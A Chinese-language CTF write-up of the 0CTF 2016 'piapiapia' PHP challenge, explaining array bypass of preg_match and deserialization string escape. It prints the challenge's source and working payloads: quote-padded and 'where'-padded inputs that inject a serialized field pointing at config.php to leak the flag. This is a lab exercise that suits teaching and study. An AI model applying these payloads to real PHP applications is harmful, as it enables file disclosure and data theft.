[原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]
简介
原题复现:
考察知识点:反序列化、数组绕过
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题
漏洞学习
数组绕过
1.1 url传递数组
当我们要向服务器传递数组时,我们可以通过
http://127.0.0.1/index.php?a[]=hello&a[]=world
来传递,这样,在后端,
$a = $_GET['a'];
就可以接收到
$a[0]=“hello”, $a[1]=“world”。
md5(Array()) = null sha1(Array()) = null ereg(pattern,Array()) = null preg_match(pattern,Array()) = false strcmp(Array(), "abc") = null strpos(Array(),"abc") = null strlen(Array()) = null
https://www.jianshu.com/p/8e3b9d056da6?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation
一个简单的例子
从这个例子我们可以看出序列化后的字符串以"作为分隔符,但是并没有导致后面的内容逃逸 这是因为分序列化时,反序列化引擎是根据长度来判断的。
从这个例子我们来看第一个例子正常序列化 第二个例子序列化后面的22222被丢弃了
如果程序在对序列化之后的字符串进行过滤转义导致字符串内容变长/变短时,就会导致反序列化无法得到正常结果
$str1="xiaohua"; $str1_serialize=serialize($str1); echo $str1_serialize; //s:7:"xiaohua";
echo "<br>"; $ser_str1='s:7:"xiaohua";2222'; echo unserialize($ser_str1); //xiaohua
一个存在漏洞的小例子(改变序列化长度,导致反序列化漏洞)
借用大佬一个案例 我们目标想修改sign的内容也是 签名 修改成 Today is very good
<?php $username = $_GET['username']; $sign = "admin"; $user = array($username, $sign); $seri = bad_str(serialize($user)); echo $seri; $user=unserialize($seri); echo $user[0]; echo "<br>"; echo "<br>"; echo $user[1]; function bad_str($string){ return preg_replace('/\'/', 'no', $string); }
正常情况 默认sign里面的值是admin
我们加上单引号此时报错了 还有个过滤替换 加一个替换成no 两个则是两个no...
上面图报错了能做什么呢 我们的目标是修改admin为 Today is very good 系列化后是i:1;s:18:"Today is very good";,再加上结尾和能和前面用户名闭合的符号payload ";i:1;s:18:"Today is very good";} 们要让'经过bad_str()函数转义成no之后多出来的长度刚好对齐到我们上面构造的payload。由于上面的payload长度是18,因此我们只要在payload前输入18个',经过bad_str()转义后刚好多出了18个字符 这样我们的";i:1;s:18:"Today is very good";} 就成功逃逸了!
再借用大佬的图
";i:1;s:18:"Today is very good";} //33个字符所以我们要构造33个'这样在过滤后成了no 多出来33个一共66个字符了
//最终payload 成功修改个性签名 http://192.168.56.1/www(2)/ff.php?username=ka1'''''''''''''''''''''''''''''''''";i:1;s:18:"Today is very good";}
成功修改
做题过程+源码审计
有个疑惑 试了好多扫描器扫描不出来 看WP才知道源码泄露 很多常见的页面扫描器都没扫描出来 不解?
下载源码先审计!
整体架构
class.php审计
经过大致分析首先审计class.php
<?php require('config.php'); //user类 class user extends mysql{ private $table = 'users'; //检查账户是否存在 public function is_exists($username) { $username = parent::filter($username); $where = "username = '$username'"; return parent::select($this->table, $where); } //注册账户 public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } //登陆账户 public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } //显示用户名 public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } //更新。。。 public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; echo "11"; return parent::update($this->table, 'profile', $new_profile, $where); } //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用 public function __tostring() { return __class__; } } //数据库操作的类 class mysql { private $link = null; //连接数据库 public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } //查询数据库指定数据 public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } //给数据库插入数据 public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } //更新数据库数据函数 public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } //过滤函数 public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); //实例化user类 $user->connect($config);
说一下主要的这个函数 是一个过滤替换 如果检测到array包含的那些select insert等字符则替换成hacker
config.php审计
可以断定flag在config.php页面中
index.php审计
这时一个很简单登陆界面 判断了一下账号密码长度 然后执行user类中的login函数登陆 如果成功则跳转至profile.php页面
<?php require_once('class.php'); if($_SESSION['username']) { header('Location: profile.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; //判断账号密码是否符合指定长度 if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); //登陆账号密码 if($user->login($username, $password)) { $_SESSION['username'] = $username; //将当前username 写入到session里面 header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Login</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">LOGIN</button> </form> </div> </body> </html> <?php } ?>
register.php审计
这个是一个注册页面 输入相关信息 首先判断长度 之后使用user中的is_exists函数判断是否重复 如果不重复则执行 user里面的register()函数将账号密码添加到数据库中
<?php //此页面接收输入的账户判断是否重复否的话则执行注册账户类函数然后跳转 require_once('class.php'); if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); //检查用户名是否重复 if(!$user->is_exists($username)) { //注册账户 $user->register($username, $password); echo 'Register OK!<a href="index.php">Please Login</a>'; } else { die('User name Already Exists'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Register</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">REGISTER</button> </form> </div> </body> </html> <?php } ?>
update.php审计
这个页面是注册完新账户首次登陆被二次跳转获得的 要输入相关信息 图片之类
<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; // //判断图片大小 if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); //移动文件 move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); //执行file检查过滤 追溯下 print_r(serialize($profile)); echo "<hr>"; print_r($user->update_profile($username, serialize($profile))); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?> <!DOCTYPE html> <html> <head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Please Update Your Profile</h3> <label>Phone:</label> <input type="text" name="phone" style="height:30px"class="span3"/> <label>Email:</label> <input type="text" name="email" style="height:30px"class="span3"/> <label>Nickname:</label> <input type="text" name="nickname" style="height:30px" class="span3"> <label for="file">Photo:</label> <input type="file" name="photo" style="height:30px"class="span3"/> <button type="submit" class="btn btn-primary">UPDATE</button> </form> </div> </body> </html> <?php } ?>
一些input中的限制
利用数组可以绕过preg_match
这里有serialize 想到了序列化
profile.php审计
这个页面是我们填写完信息展示的页面 我们发现了这边就是读取数据库中的信息 之后反序列化将值一一对应
但是对图片进行了file_get_contents() 之后又进行了 base64加密 这里我们关键是发现了file_contents()这个函数
结合上面发现的config.php 我们现在只要想办法让它可控读取config即可得到flag 这块卡住了 所以经过看wp才解决的
可以通过 变序列化长度,导致反序列化漏洞来构造
piapiapia做题过程
我们将这里简单输入数据 因为nickname有限制我们可以随便输入几个 BP抓包修改
首先想办法绕过nickname限制这里将nickname改成nickname[] 数组绕过
再nickname里面内容 因为后面拼接的值是34个所以我们需要34个where 经过黑名单过滤替换的时候34个where都会被替换成hacker 所以序列化多出了34个字符
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewher
ewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} //34个where 因为后面 这一段内容长度是34";}s:5:"photo";s:10:"config.php";}
点击发送之后他还要经过序列化一遍 大概成为这样 此时红色部分的一段因为where字符是34经过过滤之后会多出34个字符 34个字符代替了它的位置所以导致红色字符部分成功逃逸 后面的正常序列化
a:4:{s:5:"phone";s:11:"18298873374";s:5:"email";s:9:"aa@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherew
herewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewh
erewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0eda351b66f6e6d9450fc05e3443ec4f";}
最后序列化的时候只序列化了红色的部分后面的认为是多余的忽略了 因为红色末尾已经闭合了
a:4:{s:5:"phone";s:11:"18298873374";s:5:"email";s:9:"aa@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherew
herewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewh
erewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0eda351b66f6e6d9450fc05e3443ec4f";}
查看源码获得base64解密得到flag
参考学习:
https://www.cnblogs.com/litlife/p/11690918.html